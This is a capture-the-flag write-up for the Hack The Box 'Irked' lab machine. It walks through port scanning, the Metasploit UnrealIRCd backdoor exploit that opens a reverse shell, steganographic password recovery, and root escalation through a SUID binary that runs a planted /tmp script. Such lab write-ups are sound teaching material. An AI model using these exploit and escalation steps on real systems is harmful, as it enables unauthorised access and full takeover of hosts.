mirror of
http://git.nowherejezfoltodf4jiyl6r56jnzintap5vyjlia7fkirfsnfizflqd.onion/nihilist/hacking-blogposts.git
synced 2025-05-16 20:37:01 +00:00
335 lines
12 KiB
Markdown
335 lines
12 KiB
Markdown
# Irked Writeup
|
||
|
||
|
||
|
||
## Introduction :
|
||
|
||
Irked is an easy Linux box that was released back in November 2018.
|
||
|
||
## **Part 1 : Initial Enumeration**
|
||
|
||
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
|
||
|
||
|
||
λ nihilist [ 85.171.153.138 ] [ ~/_HTB/ ]
|
||
→ nmap -F 10.10.10.117 --top-ports 65000 -Pn
|
||
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-06 16:11 CET
|
||
Nmap scan report for 10.10.10.117
|
||
Host is up (0.037s latency).
|
||
Not shown: 8315 closed ports
|
||
PORT STATE SERVICE
|
||
22/tcp open ssh
|
||
80/tcp open http
|
||
111/tcp open rpcbind
|
||
6697/tcp open ircs-u
|
||
8067/tcp open infi-async
|
||
|
||
Nmap done: 1 IP address (1 host up) scanned in 57.80 seconds
|
||
|
||
λ nihilist [ 85.171.153.138 ] [ ~/_HTB/ ]
|
||
→ nmap 10.10.10.117 -sCV -p22,80,111,6697,8097
|
||
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-06 16:13 CET
|
||
Nmap scan report for 10.10.10.117
|
||
Host is up (0.034s latency).
|
||
|
||
PORT STATE SERVICE VERSION
|
||
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
|
||
| ssh-hostkey:
|
||
| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
|
||
| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
|
||
| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|
||
|_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
|
||
80/tcp open http Apache httpd 2.4.10 ((Debian))
|
||
|_http-server-header: Apache/2.4.10 (Debian)
|
||
|_http-title: Site doesn't have a title (text/html).
|
||
111/tcp open rpcbind 2-4 (RPC #100000)
|
||
| rpcinfo:
|
||
| program version port/proto service
|
||
| 100000 2,3,4 111/tcp rpcbind
|
||
| 100000 2,3,4 111/udp rpcbind
|
||
| 100000 3,4 111/tcp6 rpcbind
|
||
| 100000 3,4 111/udp6 rpcbind
|
||
| 100024 1 42952/tcp status
|
||
| 100024 1 43551/udp6 status
|
||
| 100024 1 47932/udp status
|
||
|_ 100024 1 56558/tcp6 status
|
||
6697/tcp open irc UnrealIRCd
|
||
8097/tcp closed sac
|
||
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||
|
||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||
Nmap done: 1 IP address (1 host up) scanned in 74.13 seconds
|
||
|
||
|
||
## **Part 2 : Getting User Access**
|
||
|
||
Our nmap scan seems to have picked up UnrealIRCd on port 6697. Browsing to the 80th port which is running apache httpd 2.4.10, we are greeted with a simple image that gives us yet another hint speculating that we should work with the IRC part of this box.
|
||
|
||
|
||
λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB ]
|
||
→ curl -sk http://10.10.10.117/
|
||
<****img src=irked.jpg> <****br> <****b> <****center>IRC is almost working! <****/b> <****/center>
|
||
|
||
λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB ]
|
||
→ searchsploit UnrealIRCd
|
||
------------------------------------------------------------- -------------------------------
|
||
Exploit Title | Path
|
||
| (/usr/share/exploitdb/)
|
||
------------------------------------------------------------- -------------------------------
|
||
UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) | exploits/linux/remote/16922.rb
|
||
UnrealIRCd 3.2.8.1 - Local Configuration Stack Overflow | exploits/windows/dos/18011.txt
|
||
UnrealIRCd 3.2.8.1 - Remote Downloader/Execute | exploits/linux/remote/13853.pl
|
||
UnrealIRCd 3.x - Remote Denial of Service | exploits/windows/dos/27407.pl
|
||
------------------------------------------------------------- -------------------------------
|
||
Shellcodes: No Result
|
||
|
||
We seeem to have a few exploits to work with. most notably the first one which is available for metasploit, let's fire up msfconsole and see if we can do anything there.
|
||
|
||
|
||
msf5 > search UnrealIRCd
|
||
|
||
Matching Modules
|
||
================
|
||
|
||
# Name Disclosure Date Rank Check Description
|
||
- ---- --------------- ---- ----- -----------
|
||
0 exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent No UnrealIRCD 3.2.8.1 Backdoor Command Execution
|
||
|
||
|
||
msf5 > use exploit/unix/irc/unreal_ircd_3281_backdoor
|
||
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
|
||
|
||
Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
|
||
|
||
Name Current Setting Required Description
|
||
---- --------------- -------- -----------
|
||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
|
||
RPORT 6667 yes The target port (TCP)
|
||
|
||
|
||
Exploit target:
|
||
|
||
Id Name
|
||
-- ----
|
||
0 Automatic Target
|
||
|
||
|
||
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 10.10.10.117
|
||
RHOSTS => 10.10.10.117
|
||
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RPORT 6697
|
||
RPORT => 6697
|
||
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
|
||
|
||
|
||
We hit exploit and see if we get any result.
|
||
|
||
|
||
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
|
||
|
||
[*] Started reverse TCP double handler on 10.10.14.48:4444
|
||
[*] 10.10.10.117:6697 - Connected to 10.10.10.117:6697...
|
||
:irked.htb NOTICE AUTH :*** Looking up your hostname...
|
||
[*] 10.10.10.117:6697 - Sending backdoor command...
|
||
[*] Accepted the first client connection...
|
||
[*] Accepted the second client connection...
|
||
[*] Command: echo 2AGs6oeXBUrCqprk;
|
||
[*] Writing to socket A
|
||
[*] Writing to socket B
|
||
[*] Reading from sockets...
|
||
[*] Reading from socket A
|
||
[*] A: "2AGs6oeXBUrCqprk\r\n"
|
||
[*] Matching...
|
||
[*] B is input...
|
||
[*] Command shell session 1 opened (10.10.14.48:4444 -> 10.10.10.117:39782) at 2019-12-06 16:22:40 +0100
|
||
|
||
whoami
|
||
ircd
|
||
|
||
which python
|
||
/usr/bin/python
|
||
|
||
|
||
and we are logged in as ircd ! Now, since python is available for us on the box, we will use a python one-liner using the pty module in order to spawn a nicer prompt. Once that's done we'll try to see if we can find the user flag.
|
||
|
||
|
||
python -c 'import pty; pty.spawn("/bin/bash")'
|
||
ircd@irked:~/Unreal3.2$ uname -a
|
||
uname -a
|
||
Linux irked 3.16.0-6-686-pae #1 SMP Debian 3.16.56-1+deb8u1 (2018-05-08) i686 GNU/Linux
|
||
|
||
ircd@irked:/home/djmardov/Documents$ cat /home/djmardov/Documents/user.txt
|
||
cat /home/djmardov/Documents/user.txt
|
||
cat: /home/djmardov/Documents/user.txt: Permission denied
|
||
|
||
|
||
We are logged in as ircd, however we do not have enough permissions to print out the user flag located in /home/djmardov/Documents/ . Poking around within the same folder, we seem to find a hidden .backup file.
|
||
|
||
|
||
ircd@irked:/home/djmardov/Documents$ ls -la
|
||
ls -la
|
||
total 16
|
||
drwxr-xr-x 2 djmardov djmardov 4096 May 15 2018 .
|
||
drwxr-xr-x 18 djmardov djmardov 4096 Nov 3 2018 ..
|
||
-rw-r--r-- 1 djmardov djmardov 52 May 16 2018 .backup
|
||
-rw------- 1 djmardov djmardov 33 May 15 2018 user.txt
|
||
|
||
ircd@irked:/home/djmardov/Documents$ cat user.txt
|
||
cat user.txt
|
||
cat: user.txt: Permission denied
|
||
|
||
ircd@irked:/home/djmardov/Documents$ cat .backup
|
||
cat .backup
|
||
Super elite steg backup pw
|
||
UPupDOWNdownLRlrBAbaSSss
|
||
|
||
|
||
|
||
The .backup file seems to hint us towards steganography, using the "UPupDOWNdownLRlrBAbaSSss" password. Steganography is the art of hiding information within images, we will use the steghide command onto the irked.jpg image we found earlier on the webpage to see if we can extract any data out of it using the password.
|
||
|
||
|
||
λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Irked ]
|
||
→ wget http://10.10.10.117/irked.jpg
|
||
--2019-12-06 16:34:43-- http://10.10.10.117/irked.jpg
|
||
Connecting to 10.10.10.117:80... connected.
|
||
HTTP request sent, awaiting response... 200 OK
|
||
Length: 34697 (34K) [image/jpeg]
|
||
Saving to: ‘irked.jpg’
|
||
|
||
irked.jpg 100%[==============================================>] 33.88K --.-KB/s in 0.04s
|
||
|
||
2019-12-06 16:34:43 (811 KB/s) - ‘irked.jpg’ saved [34697/34697]
|
||
|
||
|
||
λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Irked ]
|
||
→ steghide extract -sf irked.jpg
|
||
Enter passphrase:
|
||
wrote extracted data to "pass.txt".
|
||
|
||
λ nihilist [ 10.10.14.48/23 ] [ ~/_HTB/Irked ]
|
||
→ cat pass.txt
|
||
Kab6h+m+bbp2J:HG
|
||
|
||
|
||
|
||
We seem to have a password to work with ! let's try to escalate privileges to the user djmardov using the su command.
|
||
|
||
|
||
ircd@irked:/home/djmardov/Documents$ su djmardov
|
||
su djmardov
|
||
Password: Kab6h+m+bbp2J:HG
|
||
|
||
djmardov@irked:~/Documents$ whoami
|
||
whoami
|
||
djmardov
|
||
djmardov@irked:~/Documents$ cat user.txt
|
||
cat user.txt
|
||
4aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
||
|
||
It worked ! We have been able to print the user flag.
|
||
|
||
## **Part 3 : Getting Root Access**
|
||
|
||
Now in order to elevate our privileges even further we need to poke around the box a little more. Let's list the binaries onto the box to see what we can work with.
|
||
|
||
|
||
djmardov@irked:~/Documents$ find / -perm -u=s -type f 2>/dev/null
|
||
find / -perm -u=s -type f 2>/dev/null
|
||
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
|
||
/usr/lib/eject/dmcrypt-get-device
|
||
/usr/lib/policykit-1/polkit-agent-helper-1
|
||
/usr/lib/openssh/ssh-keysign
|
||
/usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
|
||
/usr/sbin/exim4
|
||
/usr/sbin/pppd
|
||
/usr/bin/chsh
|
||
/usr/bin/procmail
|
||
/usr/bin/gpasswd
|
||
/usr/bin/newgrp
|
||
/usr/bin/at
|
||
/usr/bin/pkexec
|
||
/usr/bin/X
|
||
/usr/bin/passwd
|
||
/usr/bin/chfn
|
||
**/usr/bin/viewuser**
|
||
/sbin/mount.nfs
|
||
/bin/su
|
||
/bin/mount
|
||
/bin/fusermount
|
||
/bin/ntfs-3g
|
||
/bin/umount
|
||
|
||
|
||
|
||
the viewuser binary doesn't sound all that common, let's inspect it a little further.
|
||
|
||
|
||
djmardov@irked:/usr/bin$ /usr/bin/viewuser
|
||
/usr/bin/viewuser
|
||
This application is being devleoped to set and test user permissions
|
||
It is still being actively developed
|
||
(unknown) :0 2019-12-06 05:47 (:0)
|
||
sh: 1: /tmp/listusers: not found
|
||
|
||
|
||
The viewuser seems to be trying to execute a non-existant file/script within /tmp called listuser.
|
||
|
||
|
||
djmardov@irked:~$ cd /tmp && ls
|
||
cd /tmp && ls
|
||
systemd-private-b7b0ea6c069c44919947973463e3ecd1-colord.service-9t1iyd
|
||
systemd-private-b7b0ea6c069c44919947973463e3ecd1-cups.service-j2QDlp
|
||
systemd-private-b7b0ea6c069c44919947973463e3ecd1-rtkit-daemon.service-ZjjCnq
|
||
vmware-root
|
||
|
||
|
||
As we can see, /tmp doesn't contain any file named listuser. Let's try to create a bashscript named "listuser" that could spawn yet another shell, which could have elevated privileges.
|
||
|
||
|
||
djmardov@irked:/tmp$ touch listusers
|
||
touch listusers
|
||
|
||
djmardov@irked:/tmp$ echo '#!/bin/bash' >> listusers
|
||
echo '#!/bin/bash' >> listusers
|
||
|
||
djmardov@irked:/tmp$ echo '/bin/sh' >> listusers
|
||
echo '/bin/sh' >> listusers
|
||
|
||
djmardov@irked:/tmp$ /usr/bin/viewuser
|
||
/usr/bin/viewuser
|
||
This application is being devleoped to set and test user permissions
|
||
It is still being actively developed
|
||
(unknown) :0 2019-12-06 05:47 (:0)
|
||
sh: 1: /tmp/listusers: Permission denied
|
||
|
||
|
||
Now the binary file finds the listusers script , although we need to make it executable ! we will be using the chmod command along with the +x flag.
|
||
|
||
|
||
djmardov@irked:/tmp$ chmod +x listusers
|
||
chmod +x listusers
|
||
|
||
djmardov@irked:/tmp$ /usr/bin/viewuser
|
||
/usr/bin/viewuser
|
||
|
||
This application is being devleoped to set and test user permissions
|
||
It is still being actively developed
|
||
(unknown) :0 2019-12-06 05:47 (:0)
|
||
|
||
# whoami
|
||
whoami
|
||
root
|
||
|
||
# cat /root/root.txt
|
||
cat /root/root.txt
|
||
8dXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
|
||
|
||
|
||
It worked ! The binary executed our infected listusers script, and it spawned us a root shell, which gave us the root access.
|
||
|
||
## **Conclusion**
|
||
|
||
Here we can see the progress graph :
|
||
|
||
|
||
|